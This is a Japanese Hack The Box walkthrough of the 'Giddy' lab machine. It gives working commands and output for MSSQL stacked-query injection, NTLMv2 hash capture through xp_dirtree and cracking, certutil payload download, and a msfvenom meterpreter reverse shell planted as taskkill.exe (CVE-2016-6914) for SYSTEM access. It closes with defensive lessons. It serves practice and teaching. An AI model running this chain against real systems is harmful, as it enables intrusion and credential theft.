Hack The BoxのWriteup(Giddy)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Giddy — 全実行コマンド・実行結果レポート
Nmap スキャン
80/443/3389/5985
→
/mvc SQLi確認
MSSQLスタックドクエリ
→
xp_dirtree強制SMB
impacket-smbserver -debug
→
NTLMv2 crack
hashcat -m 5600 → xNnWo6272k7x
→
user.txt ✓
WinRM/PSWA (Stacy)
→
taskkill.exe配置
CVE-2016-6914
→
JVMクラッシュ待ち
サービス再起動サイクル
→
root.txt ✓
SYSTEM meterpreter

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.96.140
nmap -sV -sC -p 80,443,3389,5985 10.129.96.140
RESULT
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
443/tcp  open  https
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  wsman         Microsoft HTTPAPI httpd 2.0
ℹ️
2019年公開の元ウォークスルー(0xRick)では80/443/3389のみだったが、本インスタンスは 5985(WinRM)も追加で開いている。これは後述のPSWA経由アクセスに加えて 直接WinRMでのアクセスも可能にする。

ディレクトリ列挙

BASH
curl -skI http://10.129.96.140/mvc/
curl -skI http://10.129.96.140/remote/
RESULT
/mvc/    → 301/200 (在庫管理アプリ)
/remote/ → 302    (PowerShell Web Access ログイン画面へリダイレクト)
PHASE 2

/mvc/Product.aspx の SQLi 確認

エラーベースでSQLi発見

BASH
curl -sk "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=18%27"
RESULT (抜粋)
[SqlException (0x80131904): Unclosed quotation mark after the character string ''.]
System.Data.SqlClient.SqlConnection.OnError(...)

スタックドクエリの確認(時間ベース)

BASH
time curl -sk "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=18;WAITFOR%20DELAY%20%270:0:5%27--"
RESULT
real  0m5.4s  ← スタックドクエリ(2つ目以降の文)が実行されている証拠
✅
MSSQLスタックドクエリSQLi確定。 sqlmap --sql-shell は本インスタンス では “execution of non-query SQL statements is only available when stacked queries are supported” と誤認識して使えなかったため、以降は生のcurlで直接 ; 区切りの SQL文を注入する方式に切り替えた。
PHASE 3

xp_dirtree強制SMB → NTLMv2捕捉 → hashcatクラック

impacket-smbserver 起動 (-debug 必須)

BASH
impacket-smbserver caca /tmp/giddy_smbshare -smb2support -debug
⚠️
ハマりどころ: -debug フラグを付けないと、NTLM認証自体は 正常に完結している(ss -tnでESTAB確認可)にもかかわらず、stdout/ -outputfile どちらにもNTLM捕捉ログが一切出力されない (impacket v0.14.0.dev0、2019年ウォークスルー記載のv0.9.17とは挙動が変化している)。 -debug を付けると [*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY) 以降のログが即座に出力されるようになる。

SQLi経由で outbound SMB を強制

BASH
curl -skG "http://10.129.96.140/mvc/Product.aspx" \
  --data-urlencode "ProductSubCategoryId=18;EXEC master..xp_dirtree '\\\\10.10.15.200\\caca'--"
RESULT (impacket-smbserver ログ)
[*] Incoming connection (10.129.96.140,49716)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User GIDDY\Stacy authenticated successfully
[*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:8ab574334ac33006d127deef08812f45:0101000000000000...

hashcatでクラック

BASH
hashcat -m 5600 -a 0 giddy_stacy.ntlmv2 /usr/share/wordlists/rockyou.txt --force
hashcat -m 5600 giddy_stacy.ntlmv2 --show --force
RESULT
STACY::GIDDY:aaaaaaaaaaaaaaaa:...:xNnWo6272k7x
クラックした認証情報
Stacy : xNnWo6272k7x
ℹ️
この値は2019年の元ウォークスルーに記載された値と完全一致する (静的に再現されたボックスであることの確認)。
PHASE 4

トラブルシューティング: WinRM/PSWAが一時的に無応答になる

認証は成功するがシェル生成だけがハングする

BASH
netexec winrm 10.129.96.140 -u Stacy -p 'xNnWo6272k7x'
# → 認証自体は即座に成功 (Pwn3d!)
netexec winrm 10.129.96.140 -u Stacy -p 'xNnWo6272k7x' -x "whoami"
# → "Read timed out" (30秒以上応答なし)
🚨
pypsrp / pywinrm / evil-winrm / netexec の4種の完全に独立したクライアント 実装すべてで同一症状(認証は即座に成功するが、実際のシェル生成/コマンド実行 リクエストだけが数十秒〜280秒以上応答なし)が再現した。

パケットキャプチャによる切り分けと自然復旧

BASH
tcpdump -i tun0 -A -s0 "host 10.129.96.140 and port 5985"
RESULT (観察結果)
1. NTLM negotiate/challenge/authenticate は完全に成功
2. 認証完了後の暗号化SOAPボディを送信
3. サーバーは約200ms後に275byteの暗号化レスポンスを一度だけPUSH
4. その後 FIN も追加データも来ないまま通信が完全に停止
ℹ️
調査中、SQLiで誤って重いスタックドクエリ(sp_configure 'show advanced options',1; RECONFIGURE; ...)を実行したところ、/mvc アプリ全体と ASP.NETセッション状態(SQL Server依存)がサイト全体で一時停止する事象が発生した。 重いクエリを避けて約30〜40分待機したところ、/mvc の応答性とほぼ同時に WinRM/PSWAのシェル生成も自然復旧した。無関係な2つの偶然の一致か、共有 リソース経由で相互に関連していたかは断定できないが、「原因不明の無応答は、 負荷のかかる操作を止めて十分待つと解決する」という教訓として記録する。
PHASE 5

user.txt 取得

WinRM経由でコマンド実行

BASH
netexec winrm 10.129.96.140 -u Stacy -p 'xNnWo6272k7x' -x 'type C:\Users\Stacy\Desktop\user.txt'
RESULT
[*] Windows 10 / Server 2016 Build 14393 (name:GIDDY) (domain:Giddy)
[+] Giddy\Stacy:xNnWo6272k7x (Pwn3d!)
[-] Execute command failed, current user: 'Giddy\Stacy' has no 'Invoke' rights to execute command (shell type: cmd)
[+] Executed command (shell type: powershell)
70c45e372e8ec01132ea5c9d3bcd17ea
user.txt — Giddy\Stacy
70c45e372e8ec01132ea5c9d3bcd17ea
ℹ️
Stacyの WinRM セッションは cmd シェルタイプでの実行権限がなく (has no 'Invoke' rights)、netexec は自動的に powershell シェルタイプへフォールバックして成功する。
PHASE 6

root化: CVE-2016-6914 (UniFi Video) — JVMクラッシュ復旧パスの発見

脆弱性の確認 (前提条件)

NOTE (EDB-ID 43390 / CVE-2016-6914)
Ubiquiti UniFi Video for Windows は C:\ProgramData\unifi-video\ にインストールされ、
"Ubiquiti UniFi Video" サービス(NT AUTHORITY\SYSTEM権限)として動作する。
このディレクトリの権限は C:\ProgramData から継承されただけで上書きされておらず、
非特権ユーザーでもファイルの追加・書き込みが可能:

  BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)

サービスの開始・停止時に C:\ProgramData\unifi-video\taskkill.exe を
ロード・実行しようとするが、このファイルは既定では存在しない。
BASH
netexec winrm 10.129.96.140 -u Stacy -p 'xNnWo6272k7x' \
  -x "icacls C:\ProgramData\unifi-video; Test-Path C:\ProgramData\unifi-video\taskkill.exe"
RESULT
BUILTIN\Users:(OI)(CI)(WD,AD,WEA,WA)   ← 書込み可能、アドバイザリ記載と一致
False  ← taskkill.exe は存在しない

PowerShell Constrained Language Mode の回避

RESULT (New-Object使用時)
[-] New-Object : Cannot create type. Only core types are supported in this language mode.
⚠️
StacyのWinRMセッションはPowerShell Constrained Language Modeで 動作しておりNew-Objectによる型生成が使えない。回避策は certutil.exe -urlcache -split -f <url> <path> (外部プロセス呼び出しのため言語モードの制約を受けない)。
BASH (payload配置)
# msfvenomでmeterpreterペイロードを生成しtaskkill.exeとしてホスト
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.15.200 LPORT=6969 EXITFUNC=thread -f exe -o taskkill.exe
python3 -m http.server 18901 --directory serve_dir

netexec winrm ... -x "certutil.exe -urlcache -split -f http://10.10.15.200:18901/taskkill.exe C:\ProgramData\unifi-video\taskkill.exe"
# → CertUtil: -URLCache command completed successfully.

単純なサービス再起動だけでは起動しない — 真因の発見

BASH (マーカー診断)
# ネットワークを使わず「実行されたか」だけを確認する最小ペイロード
msfvenom -a x64 --platform windows -p windows/x64/exec \
  CMD='cmd.exe /c echo marker > C:\ProgramData\unifi-video\ran.txt' -f exe -o marker.exe
# ... taskkill.exeとして配置 ...
netexec winrm ... -x "sc.exe stop UniFiVideoService"    # → STOPPED
netexec winrm ... -x "sc.exe start UniFiVideoService"   # → RUNNING
netexec winrm ... -x "Test-Path C:\ProgramData\unifi-video\ran.txt"
RESULT
False  ← 正常なstop/startサイクルだけではtaskkill.exeは一度も実行されない
ℹ️
ディレクトリを調べると hs_err_pid<N>.log/.mdmp (JVMクラッシュダンプ)が複数見つかった。
BASH
netexec winrm ... -x "Get-Content 'C:\ProgramData\unifi-video\hs_err_pid4172.log' -TotalCount 10"
RESULT
# A fatal error has been detected by the Java Runtime Environment:
#
#  EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000000529f9844, pid=4172, tid=296
#
# JRE version: Java(TM) SE Runtime Environment (7.0_71-b14)
# Java VM: Java HotSpot(TM) 64-Bit Server VM (24.71-b01 ...)
🚨
真因確定: UniFi Video 内蔵の古いJVM(Java 7u71)は、サービス起動直後に 統計的に6〜7割程度の確率でネイティブクラッシュ (EXCEPTION_ACCESS_VIOLATION)を起こす。avService.exe はこの クラッシュ復旧処理の一環として実際に taskkill.exe を実行する ——単純な正常停止/起動では使われない、クラッシュ依存の経路だった。 tcpdumpで複数の異なるソースポートから outbound SYN (port 6969) が繰り返し 送信されていることを観測し、これを裏付けた。

複数サイクルでクラッシュを待ち、ハンドラを正しく維持する

⚠️
実装上の罠: msfconsoleをバックグラウンドの exploit/multi/handlerとして保持する際、stdinを/dev/null にリダイレクトしたり、stdinパイプの書込み端を持つプロセスを早期終了させると、 msfconsoleはEOFを受けてバックグラウンドジョブを含めてプロセス全体が 即座に終了する(exploit -j -zでバックグラウンド化していても 無関係に全体終了する)。
PYTHON (正しいハンドラ保持方法)
import subprocess, time
# stdin=PIPE の書込み端を握ったまま、このプロセス(または変数参照)を
# 決して閉じない・終了させないことが必須
p = subprocess.Popen(['msfconsole', '-q'], stdin=subprocess.PIPE,
                      stdout=open('handler.log','w'), stderr=subprocess.STDOUT,
                      text=True, bufsize=1)
p.stdin.write('use exploit/multi/handler\n')
p.stdin.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n')
p.stdin.write('set LHOST 10.10.15.200\n')
p.stdin.write('set LPORT 6969\n')
p.stdin.write('set ExitOnSession false\n')
p.stdin.write('exploit -j -z\n')
p.stdin.flush()
# msfconsole自体の初期化(モジュールキャッシュロード)に十数秒かかるため、
# "Started reverse TCP handler" がログに出るまでポーリングする
BASH (再起動サイクルを繰り返す)
for i in 1 2 3 4 5 6; do
  netexec winrm ... -x "sc.exe stop UniFiVideoService"
  # STOPPED確認まで待機
  netexec winrm ... -x "sc.exe start UniFiVideoService"
  # 数十秒待機しセッション確立を確認
done
RESULT (3回目のサイクルで成立した例)
[*] Sending stage (232006 bytes) to 10.129.96.140
[*] Meterpreter session 1 opened (10.10.15.200:6969 -> 10.129.96.140:49926)
[*] Meterpreter session 2 opened (...)
[*] Meterpreter session 3 opened (...)
✅
複数の再起動サイクルを回すことで、統計的に発生するJVMクラッシュを捕捉し SYSTEM権限のMeterpreterセッションを確立できた。

root.txt 取得

ℹ️
sessions -c "type ..." は type がCMD内蔵コマンドで 実行ファイルでないため The system cannot find the file specified で失敗する。cmd.exe /c type ... のように明示的に経由させる必要がある。
BASH (msfconsoleのstdinパイプへ追加送信)
printf '%s\n' 'sessions -c "cmd.exe /c type C:\Users\Administrator\Desktop\root.txt" -1' \
  > /proc/<msfconsole_pid>/fd/<stdin_pipe_fd>
RESULT
[*] Running 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt' on meterpreter session 1
af3117befb3fa83cd5955e45bc985e99
root.txt — nt authority\system
af3117befb3fa83cd5955e45bc985e99
BASH (権限確認)
sessions -c "whoami /all" -1
RESULT
User Name           SID
=================== ========
nt authority\system S-1-5-18
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Giddy\Stacy
70c45e372e8ec01132ea5c9d3bcd17ea
root.txt — nt authority\system
af3117befb3fa83cd5955e45bc985e99

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
MSSQLスタックドクエリSQLi /mvc/Product.aspx?ProductSubCategoryId= 強制outbound SMBによるNTLM資格情報漏洩 Critical xp_dirtreeでSMB接続を強制しサービスアカウントのNTLMv2ハッシュを捕捉
弱いパスワード GIDDY\Stacy 捕捉したハッシュのオフラインクラック成功 Medium hashcat -m 5600 + rockyou.txt で数秒以内にクラック
CVE-2016-6914 Ubiquiti UniFi Video for Windows ローカル権限昇格 (SYSTEM) High 書込み可能ディレクトリへtaskkill.exe配置+サービス再起動サイクル(JVMクラッシュ復旧パス経由)でSYSTEM奪取

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap80/443/3389/5985、/mvc と /remote を発見
2SQLi確認エラーベース+時間ベースMSSQLスタックドクエリSQLi確定
3資格情報奪取xp_dirtree強制SMB + impacket-smbserver -debug + hashcatStacy:xNnWo6272k7x
4トラブルシューティングtcpdump + 待機による自然復旧WinRM/PSWA一時無応答の原因調査
5フラグ取得netexec winrmuser.txt 取得
6権限昇格CVE-2016-6914 + JVMクラッシュ復旧パス発見 + 複数サイクル再起動root.txt 取得(nt authority\system)

学んだ教訓 & 防御策

問題点防御策
在庫管理アプリのパラメータにMSSQLスタックドクエリSQLiが存在 パラメータ化クエリ(Prepared Statement)を使用し、動的SQL文字列結合を避ける。SQL Serverのxp_dirtree等の危険な拡張ストアドプロシージャを無効化する。
サービスアカウントがSMB経由でNTLM認証情報を外部に漏らしてしまう outbound SMB(445番)を境界ファイアウォールで制限し、不要な外向き接続を防ぐ。
弱いパスワード(rockyouで即時クラック可能) 長く複雑なパスワードポリシーを強制し、NTLMv2ハッシュが漏れても実用的な時間でクラックできないようにする。
CVE-2016-6914: サードパーティ製品が書込み可能なディレクトリからSYSTEM権限でファイルを実行 UniFi Videoを修正版(v3.8.0以降)へ更新する。サードパーティ製品のインストールディレクトリのACLを明示的に設定し、C:\ProgramDataからの継承に依存しない。
古いJVM(Java 7u71)がネイティブクラッシュを頻発し、クラッシュ復旧パスが予期しない攻撃面になっている サードパーティJavaランタイムを最新のLTS版へ更新する。クラッシュ時の復旧処理(外部プロセス呼び出し)の対象パスを固定の署名済みバイナリに限定する。
HackTheBox: Giddy | 完全攻略レポート